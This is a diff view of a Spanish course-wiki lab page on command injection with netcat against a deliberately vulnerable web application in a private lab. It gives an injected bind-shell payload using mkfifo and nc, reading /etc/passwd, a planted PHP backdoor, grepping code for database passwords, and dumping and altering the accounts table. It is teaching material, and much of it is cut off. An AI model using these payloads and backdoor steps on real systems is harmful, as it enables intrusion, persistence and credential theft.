sad:fedora14:p3
Diferencias
Muestra las diferencias entre dos versiones de la página.
Próxima revisión | Revisión previa | ||
sad:fedora14:p3 [2018/01/27 22:37] – creado José Manuel Guallar | sad:fedora14:p3 [2019/01/04 13:18] (actual) – editor externo 127.0.0.1 | ||
---|---|---|---|
Línea 1: | Línea 1: | ||
- | ¿Qué es Inyección de Comando? | + | ====== Inyección de comandos Netcat ====== |
+ | |||
+ | **¿Qué es Inyección de Comando?** | ||
La Inyección de comandos ocurre cuando un atacante puede ejecutar comandos del sistema operativo o scripts en el servidor desde la aplicación web. | La Inyección de comandos ocurre cuando un atacante puede ejecutar comandos del sistema operativo o scripts en el servidor desde la aplicación web. | ||
Línea 5: | Línea 7: | ||
Esta potencial de vulnerabilidad se produce cuando una aplicación web le permiten hacer comúnmente un nslookup, whois, ping, traceroute y más cosas desde su página web. Puede probar la vulnerabilidad utilizando una técnica llamada fuzzing, donde un ";" | Esta potencial de vulnerabilidad se produce cuando una aplicación web le permiten hacer comúnmente un nslookup, whois, ping, traceroute y más cosas desde su página web. Puede probar la vulnerabilidad utilizando una técnica llamada fuzzing, donde un ";" | ||
- | ¿Qué es netcat? | + | **¿Qué es netcat?** |
Netcat es un servicio que se usa para leer y escribir usando protocolos TCP o UDP. Netcat está diseñado para ser un dispositivo de " | Netcat es un servicio que se usa para leer y escribir usando protocolos TCP o UDP. Netcat está diseñado para ser un dispositivo de " | ||
Línea 13: | Línea 15: | ||
Netcat a menudo se conoce como una " | Netcat a menudo se conoce como una " | ||
- | + | ** | |
- | Pre-requisito para hacer estas practicas | + | Pre-requisito para hacer estas practicas** |
Tener instalado un Fedora \\ | Tener instalado un Fedora \\ | ||
Línea 29: | Línea 31: | ||
* Agregue un usuario a la tabla nowasp. accounts. | * Agregue un usuario a la tabla nowasp. accounts. | ||
- | A continuación, | + | Lo primero de todo voy a ver que ip tiene cada una de las maquinas |
+ | * Fedora tiene 192.168.153.39 | ||
+ | * BT tiene 192.168.153.43 | ||
+ | |||
+ | {{: | ||
+ | |||
+ | Vamos como el ejercicio anterior a http:// | ||
+ | |||
+ | OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup | ||
+ | |||
+ | |||
+ | |||
+ | A continuación, | ||
Instrucciones: | Instrucciones: | ||
+ | <code basH> | ||
+ | www.colegiomontessori.com; | ||
+ | </ | ||
- | www.cnn.com; mkfifo / tmp / pipe; sh / tmp / pipe | nc -l 4444> / tmp / pipe | + | ** Hacemos un FIFO llamada pipe.** |
- | Hacemos un FIFO llamada pipe. | ||
Las (pipes)tuberías permiten que procesos separados se comuniquen sin haber sido diseñados explícitamente para funcionar juntos. | Las (pipes)tuberías permiten que procesos separados se comuniquen sin haber sido diseñados explícitamente para funcionar juntos. | ||
+ | |||
Esto permitirá que dos procesos se conecten a netcat. | Esto permitirá que dos procesos se conecten a netcat. | ||
- | nc -l 4444, le dice a netcat que escuche y permita conexiones en el puerto 4444. | ||
- | NOTA: NO SE MUESTRA NINGÚN RESULTADO EN LA EJECUCIÓN DE ESTA SENTENCIA | + | **nc -l 4444,** le dice a netcat que escuche y permita conexiones en el puerto 4444. |
+ | |||
+ | |||
+ | {{: | ||
+ | {{: | ||
+ | |||
+ | **NOTA**: NO SE MUESTRA NINGÚN RESULTADO EN LA EJECUCIÓN DE ESTA SENTENCIA | ||
Ahora tenemos que observar la pestaña superior izquierda, hay una rueda de conexión que gira constantemente. | Ahora tenemos que observar la pestaña superior izquierda, hay una rueda de conexión que gira constantemente. | ||
Línea 46: | Línea 68: | ||
También hay que observar en la esquina inferior izquierda, la barra de estado muestra los datos de transferencia de mensajes. | También hay que observar en la esquina inferior izquierda, la barra de estado muestra los datos de transferencia de mensajes. | ||
- | Ambos mensajes son una buena señal de que Netcat se está ejecutando y escuchando una conexión. | + | Ambos mensajes son una buena señal de que Netcat se está ejecutando y escuchando una conexión.:?: |
- | Conéctese a Netcat | + | ====== |
- | + | ||
- | Notas: | + | |
Escribir las siguientes sentencias en el BackTrack | Escribir las siguientes sentencias en el BackTrack | ||
- | Reemplace 192.168.1.111 | + | Reemplazar la ip con la dirección IP de tu Fedora. |
- | Instrucciones: | + | <code bash> |
+ | root@bt:~# nc 192.168.153.39 4444 | ||
+ | </ | ||
- | **nc 192.168.1.111 4444** | + | {{: |
Utilicamos el BackTrack para conectarse a la sesión Netcat de Fedora en el puerto 4444 | Utilicamos el BackTrack para conectarse a la sesión Netcat de Fedora en el puerto 4444 | ||
- | **hostname** | + | '' |
Este es el nombre de host del servidor que aloja DVWA. | Este es el nombre de host del servidor que aloja DVWA. | ||
- | **whoami** | + | '' |
Es decir, ¿con quién me conecto? | Es decir, ¿con quién me conecto? | ||
- | pwd | + | '' |
directorio de trabajo | directorio de trabajo | ||
- | uname -a | + | '' |
- | muestra informacion del sistema | + | muestra informacion del sistema |
- | cat /etc/passwd > passwd.txt | + | |
+ | '' | ||
crea passwd.txt localizado en / | crea passwd.txt localizado en / | ||
- | ls -l $PWD/ | + | |
+ | '' | ||
lista el fichero passwd.txt | lista el fichero passwd.txt | ||
- | volvemos al Firefox y abrimos otra pestaña y escribimos | + | {{: |
- | http:// | + | **volvemos al Firefox y abrimos otra pestaña y escribimos** |
- | Creación de una puerta trasera (PHP) | + | '' |
- | Podemos realizar las siguientes instrucciones utilizando la sesión previa de Netcat en BackTrack. | + | {{: |
- | Ahora podemos crear un archivo en el servidor web Apache en el directorio / | + | ====== Creación de una puerta trasera (PHP) ====== |
- | Vamos a crear un script | + | |
+ | Podemos realizar las siguientes instrucciones utilizando la sesión previa de Netcat en BackTrack. | ||
+ | |||
+ | Ahora podemos | ||
<code bash> | <code bash> | ||
Línea 104: | Línea 131: | ||
</ | </ | ||
- | http:// | + | {{: |
+ | |||
+ | '' | ||
+ | |||
+ | Ejecutamos **nc_connect.php** | ||
+ | |||
+ | '' | ||
+ | |||
+ | veremos que en la web pone conectando..... | ||
+ | |||
+ | abrimos otro terminal en Backtrack y escribimos | ||
+ | |||
+ | <code bash> | ||
+ | |||
+ | root@bt:~# nc 192.168.153.39 3333 | ||
+ | whoami | ||
+ | ps -eaf | egrep ' | ||
+ | |||
+ | </ | ||
+ | |||
+ | {{: | ||
+ | {{: | ||
+ | |||
+ | Las dos primeras lineas es la ejecución del netcat via nslookup | ||
+ | |||
+ | las ultimas lineas el la puerta trasera | ||
+ | |||
+ | Para Listar todos los scripts que hay en php, la idea es la misma que la practica anterior, averiguar el usuario y la contraseña | ||
+ | |||
+ | primero vamos a ver nuestro directorio de trabajo | ||
+ | |||
+ | '' | ||
+ | |||
+ | luego vamos a contar los scripts\\ | ||
+ | |||
+ | '' | ||
+ | |||
+ | despues vamos a contar los archivos incluye de php\\ | ||
+ | |||
+ | '' | ||
+ | |||
+ | lo siguiente sera buscar en cada archivo include (.inc) las palabras " | ||
+ | |||
+ | {{: | ||
+ | |||
+ | <code bash> | ||
+ | find * -name " | ||
+ | </ | ||
+ | |||
+ | **find * -name " | ||
+ | |||
+ | ** xargs** construye y ejecutar líneas de comando desde entrada estándar | ||
+ | |||
+ | **grep -i password** busca la palabra password (ignora mayuscula y minusculas) | ||
+ | |||
+ | **egrep -i ' | ||
+ | |||
+ | {{: | ||
+ | |||
+ | <code bash> | ||
+ | find * -name " | ||
+ | </ | ||
+ | |||
+ | {{: | ||
+ | ahora buscamos lo mismo pero solo mostramos las 8 primeras lineas de la cabecera, y observamos que el nombre del script que contiene la contraseña de la Base de datos es MySQLHandler.php | ||
+ | |||
+ | Buscamos información de autentificación en el archivo MySQLHandler.php buscamos las palabras password, username o database y el simbolo de = | ||
+ | |||
+ | <code bash> | ||
+ | find * -name " | ||
+ | </ | ||
+ | {{: | ||
+ | |||
+ | El siguiente comando muestra cómo ejecutar los comandos de la base de datos en la sesión de netcat. | ||
+ | |||
+ | <code php> | ||
+ | echo "show databases;" | ||
+ | echo "use nowasp; show tables;" | ||
+ | </ | ||
+ | |||
+ | {{: | ||
+ | |||
+ | Vamos a investigar el contenido de la tabla accounts | ||
+ | |||
+ | primer comando enseña los campos por columnas y por supuesto podemos ver el contenido de tablas | ||
+ | |||
+ | <code php> | ||
+ | echo "use nowasp; desc accounts;" | ||
+ | echo " | ||
+ | </ | ||
+ | |||
+ | {{: | ||
+ | |||
+ | ===== ahora vamos a crear un nuevo usuario en la tabla ===== | ||
+ | |||
+ | |||
+ | <code bash> | ||
+ | echo " | ||
+ | echo " | ||
+ | </ | ||
+ | {{: | ||
+ | |||
+ | |||
+ | '' | ||
+ | |||
+ | Tienes que realizar los siguientes pasos en el terminal de netcat nc_connect.php | ||
+ | |||
+ | <code bash> | ||
+ | echo " | ||
+ | netstat -nao | egrep ' | ||
+ | date | ||
+ | echo "tu nombre" | ||
+ | </ | ||
sad/fedora14/p3.1517092636.txt.gz · Última modificación: (editor externo)